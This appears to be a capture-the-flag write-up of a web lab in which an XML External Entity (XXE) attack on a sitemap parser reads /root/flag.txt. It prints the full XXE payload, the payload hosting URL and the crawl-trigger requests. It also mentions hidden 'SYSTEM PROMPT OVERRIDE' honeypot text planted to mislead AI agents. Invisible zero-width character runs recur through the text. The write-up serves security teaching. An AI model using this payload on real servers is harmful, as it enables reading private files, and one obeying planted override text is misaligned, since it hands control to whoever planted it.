← Back to Writeups
CUSTOMEasyWeb

Lab 145 — RankPulse — XXE via Sitemap XML Parsing

XESXOR9/2/20265 min read
#web#custom#easy#external_entity_injection#interaction_server_payload_hos#sitemap_xml_abuse#xxe_file_read

Lab 145 — RankPulse — XXE via Sitemap XML Parsing

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: external_entity_injection, interaction_server_payload_hosting, sitemap_xml_abuse, xxe_file_read

Summary

Walkthrough of the CUSTOM Web Lab 145 — RankPulse — XXE via Sitemap XML Parsing. Task: Java/Spring Boot SEO platform that fetches and parses external XML sitemaps with entity resolution enabled. Solution: XXE injection via malicious sitemap hosted on Interaction Server — external

Description

You are testing RankPulse, an SEO analytics platform built by PulseMetric Inc. The application helps website owners monitor their search engine rankings and site health by crawling websites, processing XML sitemaps, and generating detailed audit reports.

The platform allows users to create website projects, configure custom crawl sources including external sitemap URLs, and review all discovered URLs alongside technical SEO metrics.

Your goal is to find and exploit a vulnerability in the application that allows you to read sensitive files stored on the server. A secret flag file has been placed somewhere on the filesystem. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Java/Spring Boot SEO analytics platform where users can configure projects to crawl websites via external XML sitemaps. The server fetches the sitemap URL and parses the XML with Java's default XML parser, which has external entity resolution enabled. The goal is to exploit XXE to read /root/flag.txt.

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in, the RankPulse dashboard shows an SEO analytics platform with Projects, Reports, and Account sections. Two existing projects (ShopVista, TechBlog Central) are present. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Technology stack: Java/Spring Boot application identified by:

  • JSESSIONID session cookies
  • Spring Security CSRF tokens in forms
  • /webjars/ static asset paths
  • Running on port 8080

Decoy flags: Every HTML page contained honeypot flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements with fake "SYSTEM PROMPT OVERRIDE" messages — designed to trick AI agents and automated scanners. These were correctly identified and ignored.

Vulnerability: XXE in Sitemap XML Parsing

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The project settings page at /projects/{id}/settings has a "Crawl Configuration" section with two crawl source options:

  1. Auto-discover: Crawls by following internal links from the homepage
  2. External Sitemap URL: Accepts a URL to an XML sitemap file that the server fetches and parses server-side

When "External Sitemap URL" is selected, the server:

  1. Uses Java's HttpURLConnection to fetch the URL (HTTP/HTTPS only — file:// and data: are blocked)
  2. Parses the XML response with Java's default XML parser
  3. The parser has external entity resolution enabled (Java's DocumentBuilderFactory or SAXParserFactory default)
  4. Entity references in the XML are resolved, allowing file:/// entities to read local files
  5. Resolved content is stored as discovered URLs in the audit results ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Network Constraints

The challenge environment is isolated:

  • External DNS does not work — all public hostnames fail to resolve
  • Only localhost:8080 (the app itself) and http://interact/ (HackAdvisor Interaction Server) are reachable
  • The file:// and data: URI schemes are blocked at the fetch layer (HttpURLConnection enforces HTTP-only)
  • The XXE payload must be hosted on the Interaction Server

Solution

Step 1: Craft the XXE payload

Created a malicious XML sitemap with a DTD declaring an external entity that reads /root/flag.txt. The entity reference &xxe; is placed inside the <loc> element so the file contents appear as a discovered URL after the crawl: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE urlset [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url>
    <loc>&xxe;</loc>
    <lastmod>2025-01-01</lastmod>
    <changefreq>daily</changefreq>
    <priority>1.0</priority>
  </url>
</urlset>

Key design choices:

  • The DTD is inline (no need for a remote DTD, which would require another network hop)
  • The file:///root/flag.txt entity is resolved by the XML parser, not by HttpURLConnection, so the HTTP-only restriction on the fetch layer doesn't apply
  • The <loc> element is the natural place for URLs in a sitemap, so the flag content flows into the audit results display ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Host the payload on the Interaction Server

Uploaded evil-sitemap.xml to the HackAdvisor Interaction Server, making it reachable from within the challenge container at:

http://interact/59530f05-fe99-43db-bac8-b4b12dff5200/evil-sitemap.xml

The Interaction Server is the only external host reachable from the isolated lab environment.

Step 3: Configure the project to use the malicious sitemap

Updated the project settings via POST to /projects/2/settings with:

crawlSource=SITEMAP_URL
sitemapUrl=http://interact/59530f05-fe99-43db-bac8-b4b12dff5200/evil-sitemap.xml
crawlDepth=3
userAgent=RankPulse Bot/1.0
_csrf=<token>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Verified the settings were saved by checking the settings page — the "External Sitemap URL" radio was selected and the URL field contained the Interaction Server URL.

Step 4: Trigger the crawl and extract the flag

Triggered the site audit via POST to /projects/2/crawl with the CSRF token. The server:

  1. Fetched the XML from the Interaction Server URL via HttpURLConnection
  2. Parsed it with Java's XML parser (external entity resolution enabled by default)
  3. Resolved the &xxe; entity, reading /root/flag.txt from the local filesystem
  4. Substituted the file contents into the <loc> element
  5. Imported the flag content as a discovered URL ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response confirmed: "Audit completed. Discovered 1 URLs from sitemap."

Navigated to /projects/2/audit where the crawl results displayed the flag as a discovered URL:

html
<span class="url-text">FLAG{REDACTED}</span>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering external_entity_injection, interaction_server_payload_hosting, sitemap_xml_abuse, xxe_file_read was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 145 — RankPulse — XXE via Sitemap XML Parsing • Difficulty: Easy